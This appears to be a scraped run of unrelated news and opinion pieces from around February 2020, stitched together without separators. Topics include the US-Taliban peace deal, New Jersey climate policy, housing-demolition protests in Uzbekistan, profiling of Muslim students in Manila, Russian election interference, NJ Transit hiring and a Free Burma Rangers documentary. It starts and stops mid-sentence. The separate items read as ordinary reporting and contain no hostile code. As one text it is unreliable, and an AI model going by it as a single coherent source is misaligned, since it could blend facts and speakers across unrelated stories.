is, solving a people problem is different than solving a technology problem. You can engineer products and processes, but you can't engineer people. No one can expect to solve a culture problem with technology. In reality, technology doesn't fix culture, it only amplifies it. You can only fix your culture problem by fixing the way you value and respect your people. That is, after all, what is broken at many companies. Solving that means engaging with employee concerns and really hearing their perspectives. It also means doing that in a way that intentionally seeks to address those concerns. Afghan Taliban's Haqqani Seeks US 'Partnership' in Post-Peace Deal By Ayaz Gul February 20, 2020 The Taliban's deputy chief, in a rare newspaper opinion piece published Thursday, has said that despite mutual mistrust, the insurgent group is "fully committed" to upholding a peace deal it is about to sign with the United States to end the war in Afghanistan." The long war has exacted a terrible cost from everyone. Everyone is tired of war," Sirajuddin Haqqani, the militant commander who allegedly directs suicide bombings and other insurgent attacks out of neighboring Pakistan, wrote in The New York Times. Haqqani stressed that achieving the potential of the U.S.-Taliban agreement and ensuring its success would depend on "an equally scrupulous observance" by Washington of each of its commitments. "Only then can we have complete trust and lay the foundation for cooperation or even a partnership in the future," said Haqqani, who allegedly maintains close ties with the Pakistani spy agency, the Inter-Services Intelligence. Pakistan denies having any links to Haqqani or his dreaded militant network, known as the Haqqani Network (HN). The newspaper article comes after U.S. and Taliban officials recently agreed to a seven-day period of reduced violence in Afghanistan. If the temporary truce is successful, the two adversaries could sign the long-awaited peace agreement later this month. Speaking on Tuesday, President Donald Trump said that he saw "a chance" of a peace deal with the Taliban, which would lead to the withdrawal of troops from Afghanistan and end America's longest war. "We are negotiating with the Taliban. We've been negotiating with them for a while. We will see what happens. There's a chance of making a deal. There's a chance," Trump told reporters at Joint Base Andrews in Maryland. Both sides have negotiated a draft agreement in contentious 18-month talks. The deal provides a timetable for the withdrawal of American and coalition forces from Afghanistan, insurgent counterterrorism security guarantees, and a process for political reconciliation between Afghan parties to the conflict. "My fellow Afghans will soon celebrate this historic agreement. Once it is entirely fulfilled, Afghans will see the departure of all foreign troops," Haqqani wrote. Washington has placed a reward of up to $10 million for bringing Haqqani to justice for plotting deadly cross-border attacks against U.S. and coalition forces in Afghanistan. U.S. officials also accused the Haqqani Network of being behind high-profile kidnappings of foreigners, including Americans, in the war-shattered country. Tuesday's outcome of the controversy-marred Afghan presidential election, announced nearly five months after it was held, has posed a new challenge for the U.S.-led Afghan peace process. The Afghan election commission has declared incumbent Ashraf Ghani the first-round winner. But runner-up Abdullah Abdullah swiftly rejected the result as "illegal," declaring himself the winner and threatening to form his own government in Kabul. The Taliban, which denounces Ghani as an American puppet and refuses to engage in any intra-Afghan talks under his leadership, also criticized the result. It was an outcome of what the insurgent group called "fake and staged" elections, saying Ghani's "unlawful" election is also "in conflict with the contents of the ongoing peace process" with America. The emerging political crisis has raised questions and doubts about whether Afghans will be able to form a united team to engage in the much-sought peace negotiations with the Taliban to discuss a permanent nationwide cease-fire and power-sharing in post-war Afghanistan. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address By Jeff Tittel We are in a climate crisis that is only getting worse. New Jersey is already seeing climate impacts with sunny day flooding, sea level rise, and more pollution in our waterways. Parts of the state floods every full moon. Gov. Phil Murphy says he wants to help the state prepare for climate change, but his final Energy Master Plan doesnt deal with the climate urgency. He signed Executive Order 100 to distract from this fact, but the order is vague and delays our climate progress by at least two years. Governor Murphy says the right things, but there is no clear action or sense of urgency when it comes to climate change. He could sign an emergency order to regulate greenhouse gases. Instead, the executive order starts a stakeholder process to regulate CO2 by 2022 even though Department of Environmental Protection has had the authority to do that since 2005. It includes Global Warming Response Act benchmarks, something else the DEP can do now. The executive order calls for electrifying the housing sector, but the program doesnt start until 2030. Instead of these delays, Murphy could use his power as governor to regulate greenhouse gases now and put a moratorium in place to help us take on climate change. The UN Intergovernmental Panel on Climate Change (IPCC) calls for a 45% reduction in greenhouse gases by 2030, but the order doesnt include any targets. It talks about sea level rise, but there arent requirements for the DEP to update their maps. Although the executive order includes science-based climate reports, it doesnt put that science into DEP regulations. There are no details to change laws or close loopholes and little direction for meeting outlined goals. The executive order doesnt mention criteria for reductions or standards. This means the DEP could set a carbon standard like the Environmental Protection Agencys, which allows natural gas and power plants. Murphy says the executive order looks at land use and other permitting processes, but it doesnt. It fails to mention the 14 or more laws that need to be changed to allow this. It doesnt reverse or strengthen Christie-era rules like the Flood Hazard Rules, Waiver Rules, Stormwater Rules, and Coastal Area Facilities Review Act (CAFRA) rules that encourage development and cause more flooding and pollution. There is no mention of a Climate Adaptation and Mitigation Plan even though New Jersey is the only state in the region without one. Murphy used the executive order to distract from the fact that no real changes were made to the states Energy Master Plan. An overwhelming majority of testimony at hearings for the master plan called for real climate action and a moratorium. Instead, it still defines clean energy in an Orwellian way by calling dirty energy clean. The clean energy standard defines carbon neutral as clean even though it includes biogas, nuclear energy, incinerators, and biomass. The typical definition of clean energy is wind, solar, geo-thermal, and more. The executive orders standards were set by the master plan, so they arent any stronger than the master plan. The master plan doesnt reflect the climate crisis. It calls for 80% net reduction of greenhouse gases by 2050, which is closer to 70% because it uses gimmicks like carbon sequestration, but we need to get to net zero. The plan doesnt mention the eight proposed pipelines, five power plants and an LNG port that would increase NJs emissions by 32%. The state hasnt rescinded approval for SJ Gas pipeline or put a stay on the SRL pipeline, and the administration is building a fossil fuel plant in Bergen County. The master plan continues the nuclear subsidy to 2050 and beyond, and looks to transition from natural gas pipelines and power plants to biogas. The cost-benefit analysis is based on lowest cost rather than looking at societal costs of carbon or balancing health and climate impacts. The timeline in the executive order is concerning, especially since were still waiting on rules and standards two years after Murphys Environmental Justice executive order. Former Gov. Tom Keans Executive Order #21, which called for greenhouse gas and climate impact reductions, was issued in 1989 and never implemented. While the Murphy Administration goes through stakeholder meetings, fossil fuel projects continue to move forward. Some say were looking at the glass half empty, but were in a climate emergency. We need a moratorium on new fossil fuel projects and we need to reach 100% renewable and zero-carbon by 2050. Nature is planning for us with flood after flood, and Murphys Energy Master Plan and executive order wont protect us. Jeff Tittel is the director of the New Jersey Sierra Club. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. by Vladimir Rozanskij The problem of demolitions and house confiscations is very acute in the country, where many people do not live in normal housing conditions, and has already led to numerous protests, to the point of deliberate fires and self-immolation. Moscow (AsiaNews) - A woman from the city of Karshi in Uzbekistan, Mukaddas Mustafaeva (pictured), doused herself with petrol and set herself on fire, risking her life in front of the building of the Regional Prosecutor's Office, following the decision to demolish her home and failure to respond to her protests. Local radio Ozodlik reported that Mukaddas' father, Olima Mustafaev, managed to save his daughter from the flames, suffering severe burns. On February 19, the day before the woman's gesture, the father had accompanied his daughter to the prosecutor's office to deliver yet another complaint against the demolition, but the guards did not even let them in, stating that "the prosecutor is not in, nobody is". For a year now, Mukaddas had opposed the destruction of the house, and local authorities had decided to obtain an eviction order from the judiciary. The house was built last year thanks to the loan offered by her older sister for about fifteen hundred dollars (15 million som, the local currency), on an abandoned lot next to that of her sister, but owned by another person, who therefore turned to the judiciary. The landlord, who was not in the documents and nobody knew, showed up a few months after the construction of the house. On that ground Mukaddas's sister kept a number of animals, and she herself lived in a shack near the bus station, together with her disabled husband and first child. Now Mukaddas is expecting her second child, and has tried to prove that the land upon which her home is built is actually owned by the state. The problem of demolitions and house confiscations is very acute in the country, where many people do not live in normal housing conditions, and has already led to numerous protests, , to the point of deliberate fires and self-immolation, as in the case of Mukaddas. On February 14, a group of inhabitants of the province of Surkhandarinsk attacked officials with shovels and hoes who had come to deliver a notice of demolition of some houses. In Saryasijsk, a village in the same province, a woman entered the town hall with an ax and a photo of President Shavkat Mirziyoyev, threatening those who attempt to destroy her home. On January 21 in Samarkand, a single mother, who had been evicted from her home, tried to set fire to the inspectors of the Tax Action Office. On the same day in the Andizhansk province a thirty year old, Khushnud Gojibnazarov, doused himself with petrol and set fire to the inspectors of the same local office who wanted to evict him with the whole family, dying a few days later in hospital. Many other similar episodes occurred last year. In one of the government meetings, President Mirziyoyev expressed his concern about the increase in the number of suicides in Uzbekistan, related to economic reasons and more often than not to the housing problem. In mid-February he signed a decree to develop the mental health service for the population, even establishing the position of national psychiatrist and national suicideologist. Aaron Di Blasi, PMP, Mind Vault Solutions, Ltd., has been awarded Social Media Marketing Certification by Hootsuite, a world leader in Social Media Marketing Solutions. As a Certified Social Media Marketing Provider, Aaron has demonstrated in-depth knowledge of the Hootsuite online social media management platform and best practices. This ensures program participants and the clients they serve will realize meaningful results from their investments in social media marketing. We tried so many solutions in the beginning, but it was Hootsuite, along with all of the tools and methodologies that evolved over the years to support the platform that ultimately helped us to realize the dream of growing client social media engagement exponentially. An achievement which simply would not have been possible without it. For this reason alone I am proud to carry this certification forward on behalf of Mind Vault, said Aaron Di Blasi, PMP, Mind Vault Solutions, Ltd. This certification program ensures customers that our Certified Social Media Marketing Providers have proven, in-depth knowledge of social media marketing as well as Hootsuites offerings. By earning Certified Social Media Marketer status, Aaron has demonstrated his commitment to helping clients succeed by taking proactive steps to grow his marketing skillset. Aaron Di Blasi, PMP, Mind Vault Solutions, Ltd. Social Media Marketing Certification by Hootsuite, World Leader in Social Media Marketing Solutions Secure Certificate Link: https://accredible.com/14558092 (Verification provided via Accredible.com, the worlds most comprehensive badge and certificate service.) About Mind Vault Solutions, Ltd. Mind Vault Solutions, Ltd. is a new media marketing and design firm that provides professionally outsourced marketing administration services to businesses and organizations on an as-needed basis. Learn more today at https://mvsltd.com/. About Hootsuite Building enduring brands, one social connection at a time. We created Hootsuite to help people connect on social media and do amazing things together. We connect people with the communities they live in. The teams they work with. The brands they love. The customers who believe in them. And the leaders and visionaries who show them the way forward. Whether youre managing a small team or making a bold leap forward to completely transform your social enterprise, Hootsuite is here to help you unlock the power of human connection and make great things happen. https://hootsuite.com/. Media Contact: Aaron Di Blasi, PMP Project Management Professional Email Marketing Professional, Constant Contact Certified Social Marketing Professional, Hootsuite Certified Mind Vault Solutions, Ltd. Office: (440) 442-9011 Toll Free: (855) 578-6660 Email: ad@mvsltd.com Web: https://mvsltd.com/ Facebook: https://facebook.com/mvsltd/ Twitter: https://twitter.com/mvsltd/ Instagram: https://instagram.com/mvsltd/ YouTube: https://bit.ly/youtube-mvsltd LinkedIn: https://linkedin.com/company/mvsltd Philippine police found themselves on the defensive Friday over a leaked document in which a police chief ordered precincts across Manila to collect names of Muslim high school and university students, a move that rights groups, Islamic lawmakers and teachers branded as profiling. The order, signed by Manila Police District Chief Brig. Gen. Bernabe Balba on Jan. 31, directed all station commanders in the Philippine capital to submit an updated list of Muslim students in high school, colleges and universities in metro Manila. The directive was aimed at boosting police peace-building efforts while countering violent extremism, according to a copy of the leaked document widely distributed to the Philippine press. Late Friday, a local news outlet reported that Maj. Gen. Debold Sinas, the chief of Metro Manila police, had recalled the order, which was contained in a memorandum obtained and circulated by the Alliance of Concerned Teachers (ACT), an educators group which criticized the policy as Islamophobic. Sinas said he would make the representation to (the) Directorate for Police Community Relations (DCPR) to reconsider their directive, Rappler quoted him as saying and adding that Sinas had instructed Balba to recall the order. Earlier, Philippine National Police chief Gen. Archie Francisco Gamboa defended the program, saying that consolidating all data of Muslim youths would help in future police and community development programs. He said he supported Manila cops for reaching out to the Muslim youth sector. Our goal is to facilitate dialogue with our Muslim brothers and sisters so that we can thrash out problems related to peace and order, Gamboa said. Critics of the policy accused the police of singling out young Muslims living in the capital of the Catholic-majority Philippines through profiling. This kind of profiling oppresses and ostracizes our Muslim youth, and creates a rift between the Muslim community and a police force that is duty-bound to also protect us as Filipinos, Zia Alonto Adiong, a member of the Bangsamoro Transition Authority (BTA), said in a statement. The authority is the interim government of a newly formed expanded autonomous region in the south, where the population is largely Muslim and Islamic extremist groups operate. The dangerous association made between violent extremism and Islam is not new, and is rooted in years of discrimination against Muslims in the Philippines, Adiong said, adding that the order was prejudice disguising itself as law enforcement. The Alliance of Concerned Teachers said the order reeked of the polices ignorance and islamophobia. It is deplorable that the PNP would want to target these young Muslim students to supposedly counter violent extremism, which is short of saying that Muslims are more likely to become extremists or terrorists, ACT said. The national police rejected the allegations of profiling, and said the policy was simply about collecting relevant data that would help in its intervention programs. But the police did not explain why non-Muslim students were not covered by the order. [T]he memorandum is not about profiling but the statistics of [the] Salaam Police Center on the number of Muslim high schools and college students in Metro Manila in order to conduct interventions and programs in strengthening Salaam Police in partnership with the community, Sinas had said on Thursday, according to Rappler. Baseless stereotyping Two Muslim members of the House of Representatives who represent constituencies in the south, Mujiv Hataman and Amihilda Sangcopan, said the government did not have the right to single out and prey on Muslim youths. This is so wrong. Profiling has no place in a nation that respects and draws strength from the diverse beliefs of its people, said Hataman, a former governor who had drafted a proposed bill in the House to end discrimination against Muslims. Guilt by association is wrong, and sometimes fatal. Baseless stereotyping can end in lethal results, he said. Stereotyping Muslims as likely terrorists was one of the greatest failures in police intelligence in the Philippines, which has battled Muslim insurgency since the 1970s. In 2017, the military beat back Islamic State-linked militants who had taken over the center of the southern city of Marawi for five months. Sangcopan, for her part, described the police move as patently illegal and a modern-day injustice. She demanded that the national police recall the order. Their call was amplified by Amnesty International. Profiling entire communities solely on the basis of a single identity whether based on gender, race or religion supposedly in the name of curbing crime only fuels hate toward particular groups of people and intensifies fear of the police, said Butch Olano, Amnestys director in the Philippines. Profiling of Muslim students leave too many holes where peoples rights may be violated without sufficient accountability. It is imperative for the PNP chief to ensure that his officers are held to the highest human rights standards for law enforcement, and to look into police activities that are obviously discriminatory in nature and only serve to instigate transphobia and Islamophobia, he said in a statement. The criteria that link the grant of European funds to member states' upholding the independence of the judiciary and the rule of law will be finalized and transposed into law this year, so that beginning January 1, 2021 the grant of EU funds will be conditional on judicial independence, the European Parliament's rapporteur on the financing of the European Ecological Pact, Siegfried Muresan, said on Friday. "The decision to activate the mechanism and to suspend or even cut certain European funds cannot be political, it must come by default, based on objective criteria related to the functioning of the judiciary. [The set of criteria] will be ready before January 1, 2021, the objective is that when the new multi-annual budget comes into force on January 1, 2021, these criteria be already in place, adopted, serve as letter of law and be conditional for the grant of all European funds as of January 1, 2021," Muresan stated.The European rapporteur said that beginning with 2021 the governments that harm the rule of law will risk penalties for the absorption of EU funds."My responsibility as a politician is to make sure that the judiciary operates independently, that there is no pressure on Justice. What is essential, and what will also be important for the absorption of European funds in the future, is the independence of the judiciary, the proper functioning of Justice and the respect of the rule of law in Romania, because EU funding will be tied to the rule of law in the next 7 years, ie the governments deemed to affect the rule of law will risk penalties for the absorption of European funds," said Siegfried Muresan.The rapporteur of the European Parliament explained that the European mechanism for signaling the breach of the independence of the judiciary in member states must be apolitical."The technical implementation of this mechanism is still under negotiation, but there is a clear majority in favor of this mechanism. What is important for our credibility at European level - and this also impacts the absorption of EU funding - is that the judiciary works overall, accomplishes its mission and is credible. Ordinance 13 was a rash legislative act that has obviously put the balance of the state powers in jeopardy, served the political class and affected the independent and balanced character of the judiciary. The benchmarks will be extremely precise, and the mechanism must be apolitical and automatic," said Siegfried Muresan. AGERPRES The Army on Friday paid rich tributes to Captain Tushar Mahajan who laid down his life fighting terrorists at Pampore in Pulwama district of south Kashmir on this day four years ago. A solemn wreath laying ceremony was conducted at Udhampur to pay homage to Capt Tushar, Shaurya Chakra, a defence spokesperson said. The officer, a braveheart son of Udhampur, was commissioned into the 9th Battalion of the Parachute Regiment (special forces) on June 12, 2010. On Feb 21, 2016, three terrorists had taken refuge in the Entrepreneurship Development Institute (EDI) building at Pampore, triggering a fierce gunbattle. A team led by Capt Tushar stormed the building to flush out the terrorists. Despite being grievously wounded in the ensuing gunfight, he charged at the terrorists and eliminated them at close quarters, the spokesperson said. Capt Tushar exhibited indomitable courage and conspicuous gallantry while leading his men from the front in the highest traditions of the Indian Army before making the supreme sacrifice for the motherland, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WASHINGTON (AP) Intelligence officials have warned lawmakers that Russia is interfering in the 2020 election campaign to help President Donald Trump get reelected, three officials familiar with the closed-door briefing said Thursday. The warning raises questions about the integrity of the presidential campaign and whether Trumps administration is taking the proper steps to combat the kind of interference that the U.S. saw in 2016. The officials asked for anonymity to discuss sensitive intelligence. They said the briefing last week focused on Russias efforts to influence the 2020 election and sow discord in the American electorate. The warning was first reported by The New York Times and The Washington Post.A senior administration official said the news infuriated Trump, who complained that Democrats would use the information against him. Over the course of his presidency, Trump has dismissed the intelligence communitys assessment of Russias 2016 election interference as a conspiracy to undermine his victory.The official spoke on the condition of anonymity to describe the private meeting. One day after the Feb. 13 briefing to the House Intelligence Committee, Trump berated the then-director of national intelligence, Joseph Maguire, and he announced this week that Maguire would be replaced by Richard Grenell, a Trump loyalist. U.S. intelligence agencies say Russia interfered in the 2016 election through social media campaigns and stealing and distributing emails from Democratic accounts. They say Russia was trying to boost Trumps campaign and add chaos to the American political process. Special counsel Robert Mueller concluded that Russian interference was sweeping and systematic, but he did not find a criminal conspiracy between Russia and the Trump campaign. Republican lawmakers who were in last week's briefing by the DNIs chief election official, Shelby Pierson, pushed back by noting that Trump has been tough on Russia, one of the officials said. While Trump has imposed severe economic sanctions on Russia, he also has spoken warmly of Russian leader Vladimir Putin and withdrawn troops from areas, like Syria, where Moscow could fill the vacuum. He delayed military aid last year to Ukraine, a Russian adversary a decision that was at the core of his impeachment proceedings. The Times said Trump was angry that the House briefing was made before the panel's chairman, Rep. Adam Schiff, who led the impeachment proceedings. Trump on Thursday formally appointed Grenell, the U.S. ambassador to Germany, to replace Maguire as the new acting director of national intelligence. Maguire was required to step down soon under federal law governing acting appointments. The Times cited two administration officials as saying the timing, after the intelligence briefing, was coincidental. Grenell's background is primarily in politics and media affairs. He lacks the extensive national security and military experience of Maguire, as well as previous holders of the position overseeing the nation's 17 intelligence agencies. His appointment does little to heal the presidents fraught relations with the intelligence community, which Trump has derided as part of a deep state of entrenched bureaucrats that seek to undermine his agenda. The administration has most notably feuded with the intelligence community over the Russian interference and the events surrounding Trump's impeachment. Pierson told NPR in an interview that aired last month that the Russians are already engaging in influence operations relative to candidates going into 2020. But we do not have evidence at this time that our adversaries are directly looking at interfering with vote counts or the vote tallies. Pierson, appointed in July 2019 by then-Director of National Intelligence Dan Coats, works with intelligence agencies like the CIA, the FBI, the National Security Agency and the Department of Homeland Security to identify anyone seeking to interfere with U.S. elections. Pierson told NPR that the U.S. doesnt know exactly what the Russians are planning, but she said its not just a Russia problem. Were still also concerned about China, Iran, non-state actors, hacktivists and frankly certainly for DHS and FBI - even Americans that might be looking to undermine confidence in the elections. At an open hearing this month, FBI Director Christopher Wray told the House Judiciary Committee that Russia was engaged in information warfare heading into the November election, but that law enforcement had not seen efforts to target Americas infrastructure. He said Russia is relying on a covert social media campaign to divide the American public. Source: Xinhua| 2020-02-21 21:16:44|Editor: xuxin Video Player Close MOSCOW, Feb. 21 (Xinhua) -- The Russian military has detected 22 foreign planes and eight drones engaged in reconnaissance activities near the country's borders in the last seven days, the Russian Defense Ministry said Friday. Russian armed forces dispatched fighter jets twice to intercept the craft from illegally entering Russian airspace, the ministry said in a weekly report. A week ago, the Russian military found 33 foreign planes and six drones carrying out reconnaissance missions near the country's borders, dispatching fighter jets twice to intercept them. AUTO LAB TALK RADIO FROM NYC, Saturday February 22, 2020; WNYM Radio AM 970 7-9 AM Auto Lab Talk Radio on New York City's WNYM Radio AM 970 Is Streamed Worldwide On TheAutoChannel.Com Car Question or Concern? Automotive Career Opportunity, Call Toll Free 888-692-7234 To Speak With An Auto Lab Expert Auto Lab is also about the automotive industry, its history, and its culture, presenting the ideas and advice of leading college faculty, authors, and automotive practitioners in a relaxed, conversational interactive format. Listeners can find audio recordings of the past 20 years of archived Auto Lab shows as simulcast on The Auto Channel; The Auto Lab Index Page includes; Audio-on-Demand Archives, Community College Auto Program Database, Guests Pictures This Weeks Show: February 22, 2020 In Studio Expert Automotive Panel Harold Bendell, Major World Tim Cacace- Master Mechanix Audra Fordin- Great Bear Auto Repairs David Goldsmith-Urban Classics Jerry Pastore- D & J Diagnostics Johanna Pastore-D & J Diagnostics Joanne Porcelli, Esq. Michael Porcelli, Bronx Community College, City University of New York Nicholas Prague, MTA Interviews Robert Erskine, Senior European Correspondent: "E-TENSE EXCITEMENT - CITROEN DS EV LAUNCH" "ALFA ROMEO GIUYLA TI LUSSO AWD" Russ Rader Senior Vice President Insurance Institute for Highway Safety: "DETAIL/HEADLIGHTS-ARE-STILL-AN-AFTERTHOUGHT-ON -MANY VEHICLES" Robert Sinclair AAA Northeast "REAL ID GOES INTO EFFECT IN OCTOBER" NJ Transits future managers would be voted on by the agencys board of directors instead of being hired by its top executives under a proposal by state Senate President Stephen Sweeney. Sweeney, D-Gloucester, made that pitch Friday after state Senate Majority Leader Loretta Weinberg, D-Bergen, said she wanted legislation to clarify the job description of Chief Customer Experience Officer and Customer Advocate Stewart Mader after NJ Advance Media revealed the job originally was advertised as more of a public relations position. The job description he replied to was laden with PR responsibilities, including serving as the chief spokesperson for NJ Transit and planning and presenting events to ensure optimal exposure of positive information about NJ Transit. The agency modified the job description in late 2018-early 2019 to remove the public relations functions. Commuters have complained that Mader doesnt answer direct questions they ask on Twitter, there is no email or phone number provided for them to reach him and his tweets provide public relations information about NJ Transit instead of answers to their questions or help. Weinberg said the job is not what legislators wanted when they wrote the NJ Transit reform bill that created the position when it became law in 2018. The legislature envisions an advocate hired by the board, not by senior management and will be a position that advocates for the 900,000 customers that ride public transit, Weinberg said at a joint senate panel hearing investigating NJ Transit Friday. After seeing how it changed, we should clarify the law so there is no misunderstanding what this should be. Im lobbying for Stewart Maders job. He can return to PR. Ive used mass transit for more than a decade. I wrote a book on commuting. I have extensive experience in communications and marketing. How can I make this happen? Seriously @CommutingLarry @NJTrainDelays @TooMader pic.twitter.com/KHCeARfgPR Michael Lewis (@RealMikeLewis) February 21, 2020 Mader applied for the position on Nov. 19. 2018, the same day NJ Transit officials said the first job description was posted and a month before Gov. Phil Murphy signed the NJ Transit reform law. On his application, he listed two members of the Murphy administration as references. NJ Transit CEO and president Kevin Corbett offered to meet with Weinberg to discuss the customer advocates job description, but she said she preferred to fix it legislatively. If that was unclear in the law, well have language that well pass quickly that will clarify any misinterpretation, Weinberg said. Revelations of other questionable NJ Transit management hirings in a NorthJersey.com article also led Sweeney to suggest management hires should be made by the full board. It should be left to the board to hire management, Sweeney said They shouldnt be hiring bus drivers, but they sure as hell should be be hiring managers. After the almost three-hour hearing, Sweeney said he plans to propose legislation to make sure the board does senior management hiring. It makes all the sense in the world, he said. Larry Higgs may be reached at lhiggs@njadvancemedia.com. Follow him on Twitter @commutinglarry. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The past year or so has revealed a flurry of womens personal stories about opting to have their silicone breast implants removed. Acting on a range of reasons including Allergans July 2019 recall of its Biocell textured implants due to their link to a particular cancer, as well a two-day FDA hearing in March about various implant risks the outspoken have included a handful of public figures, from Victoria Beckham and Sharon Osbourne to Yolanda Hadid and Crystal Hefner. Another vocal sharer on this front has been former reality TV star Adrianne Curry, who has been documenting her painful and complex explant journey on her blog and on social media, and who has now been eliciting a flood of comments from women on her honest and inspiring Thursday social media posts. Former reality-TV star Adrianne Curry, now an Avon representative, credits the beauty products for making her feel better after a complicated explant surgery: "It helps." (Photo: Facebook) Supportive comments from women are a blessing, as most women are pretty bad to one another, especially on the internet, Curry tells Yahoo Lifestyle, who adds that her implant-explant journey has taught her a valuable lesson about herself. That I foolishly wasted a lot of time in my life trying to impress other people, and I wont waste one more singular moment doing so ever again, she says. A healthy and happy life far outweighs a so-called relevant and glittery one. On social media, her posts offered an honest update of her implant removal, in which she discusses going down more than two cup sizes and struggling with insecurities surrounding her body image. Story time, begins Curry, who became famous after winning the first season of Americas Next Top Model and then co-starred in the reality series My Fair Brady while she was married to now-ex Christopher Knight. I lost most my breast tissue in my right breast due to massive scarring/ flesh swimming in silicone. My doctor then decided to reduce my left breast to try to even me out. When I awoke, she was upfront about my results & discussed possible fat transfer. But, explained Curry, now an Avon representative who is married to voiceover actor Matthew Rhode, I am not interested in more surgeries. I was a c cup and a b cup prior to surgery. Now? Not even a double A. Most women go back to what they had before and some are even bigger. I was hoping I'd be bigger since I gained weight since implanting. She adds, Ive tossed the dice and lost EVERY time I did ANYTHING for vanity. Dont do it, guys. Story continues Curry decided to have her implants removed after many years of pain, complications and deformity, even after swapping out one pair for another and seeing no improvement. A lot of vulnerable, scared and suffering women come to the internet in search of answers regarding having crammed foreign objects in their bodies to look more visually appeasing. I was one of them, she wrote on her personal blog post in 2019. Years ago, she explains, she embarked upon a thorough and at-times discouraging search for the right surgeon which came with many red flags, unprofessional situations and the feeling that some doctors were running breast implant factor[ies]. Then came an explant delay due to a different surgery, in 2017, when she underwent (and shared about) a myomectomy, or the surgical removal of uterine fibroids. Eventually, Curry settled on an explant surgeon in Chicago, in part because she is a believer in breast implant illness (BIA) a collection of physical symptoms, ranging from chronic pain to brain fog, that advocates have been working to legitimize within the medical community for years. Discussion of BIA has recently gained traction in the U.K. as well as in the U.S., where about 400,000 women get breast implants annually, 300,000 for cosmetic reasons and 100,000 for post-mastectomy reconstruction related to breast cancer, making breast augmentation the top plastic surgery procedure since 2006, according to the American Society of Plastic Surgeons (ASPS). But, also according to the ASPS, nearly 30,000 patients have their implants removed every year. And Curry is among them, following an early-January surgery that came with complications including leaked silicone and the removal of breast tissue in an attempt to even out her appearance. Now, shes not holding back when it comes to sharing about her body-image struggle, admitting in her Thursday social media posts, I am uncomfortable with my body currently, but I will learn to live with it. It's still healing and will be for 4.5 more months. Curry also calls out those who might mean well but who instead wind up minimizing her emotional experience with explanting. All the at leasters tell me at least you have your health! At least (insert dumb shit that doesnt make you feel better at all here)! Its the most toxic & unhelpful thing I've experienced so far. The complete dismissal of my inner feelings and voice. She continues, I got fake boobs due to massive insecurity. My entire life was molded on how I look. Good LUCK shaking THAT brain washing! I do feel better physically. No phantom knife shank pains but learning to love a new version of yourself takes time. I went in due to insecurities. I look down and feel like I am looking at someone else. My chest is completely foreign to me. She also explained that her husband has been her rock, noting, It took me 5 years to get comfortable enough to go braless in front of my husband. Now, we are back to square one! T shirt sex!! Currys posts have been resonating with her followers across Facebook and Instagram. I really appreciate your openness with your experience, noted one Instagram fan. Hopefully it inspires girls and women to know they are good enough natural despite any insecurities our toxic society has bred. No judgements to people who choose to enhance but know that we are all made perfectly imperfect. Another added, I admire you for being so frank. You are beautiful in every way. My hope for you is to find inner peace, confidence, and the desire to rip that shirt off and enjoy that man skin to skin-chest to chest soon. Curry also took the time to respond to various commenters and inspired at least one woman to forgo augmentation. You are teaching women to love themselves for who they are, and your husband is teaching men to love women for who they are!! said the follower. You will get there, I went from a really small B cup before kids to a large C and droopy boobs after kids and had thought about getting a lift and implant, but after hearing your stories and many others I have decided against it. I pray that someday you will love yourself [through] your eyes like your husband loves you through his!! Read more from Yahoo Lifestyle: In northwest Mosul, an Iraqi civilian preparing to clamber through a hole in a wall hands a swaddled baby to an American man wearing a dusty combat uniform. The American, Dave Eubank, is not a soldier. All around them, Iraqis hurry past, carrying children and crying out to each other as they flee approaching ISIS militants. Eubank tenderly passes the baby off to another Iraqi, remaining calm amid the chaos. This turbulent scene opens a new documentary, Free Burma Rangers (Deidox Films and LifeWay Films), directed by Brent Gudgel and Chris Sinclair and playing in select US theaters February 24 and 25. Formerly a US Special Forces operative, Eubank is the head of the Christian humanitarian service movement Free Burma Rangers (FBR). All five members of the Eubank family have spent much of their lives in war-torn areas of Burma, Sudan, Iraq, and Syria, sometimes at or near the frontlines of fighting, to answer what they believe is Gods call to free the oppressed. FBR supplies emergency medical care, shelter, food, clothing, and human rights documentation to people in war zones, often where other relief groups do not venture. Many Rangers are persecuted Christians from Burma (also known as Myanmar), who joined the group when Eubank formed it with his wife, Karen, in 1997 to aid and rescue Burmese minorities from oppression by their military government. The couples children Sahale (19), Suuzanne (17), and Peter (14) grew up in Burma and have assisted Dave and Karen in aspects of the relief efforts for as long as theyve been old enough to help. FBR was one of the first humanitarian groups to aid civilians in Mosul, Iraq, a former ISIS stronghold. And it was one of the last groups remaining at the Syrian-Turkish border when American troops withdrew in November 2019 and where conflict between Kurdish soldiers and Turkey-backed Syrian militias continued. During one daring rescue, Turkish gunfire was preventing a team of Rangers from reaching a woman trapped in the line of fire. Eubank had a signal on his phone and received a random call from a chaplain he knew. The chaplain said he felt the need to pray for FBR, and at that moment, Eubank told CT, the shooting stopped, and the enemy turned away. The rescue was successful, and everyone survived. This seemingly miraculous event is one of several Eubank has reported over the years, with more recounted in the documentary. Unfortunately, not all of their missions have been similarly successful. In November, Eubank mourned the loss of his fellow Ranger Zhao Seng, a Burmese man who served as a team videographer. Zhao died in an apparent shelling by a Turkish-backed Syrian group, becoming one of about 30 Rangers who have sacrificed their lives. Zhao and other FBR videographers contributed most of the astonishing footage in the documentary. Every FBR relief team includes a videographer, to let the world know what has been happening. Eubank is currently with the Rangers in Syria, where he spoke to CT from a hospital in Tel Tamer before leaving to distribute food and other supplies to Syrians later that afternoon. Since the early days of FBR, Eubank has felt that the Rangers activities and the particular suffering they witnessed have remained largely unknown to the broader world. Eubank met documentary director Chris Sinclair, one of the documentarys directors, back in 2005 when Sinclair visited FBR in Burma to film a story on what motivates a Ranger. One night, while they were sitting at a little bamboo table, Eubank told Sinclair that he had been wanting to make a documentary about FBR. After everything Eubank had experienced, stories well up inside you, he said. In creating the documentary, he wanted to bear witness to what God has done, to the beauty of Gods people, his creation. The beauty of Gods diverse people is one thing Eubank is grateful his children have grown up witnessingdespite the fear, blood, and broken bodies theyve helped assuage and tend. Eubank says his two daughters and son have learned to see the people they aid with loving eyeseven when its most difficult. Article continues below One night, his daughter Suuzanne was helping distribute food at the Syrian-Iraqi border to people who had fled. Some of these people shouted with hostility at the FBR relief 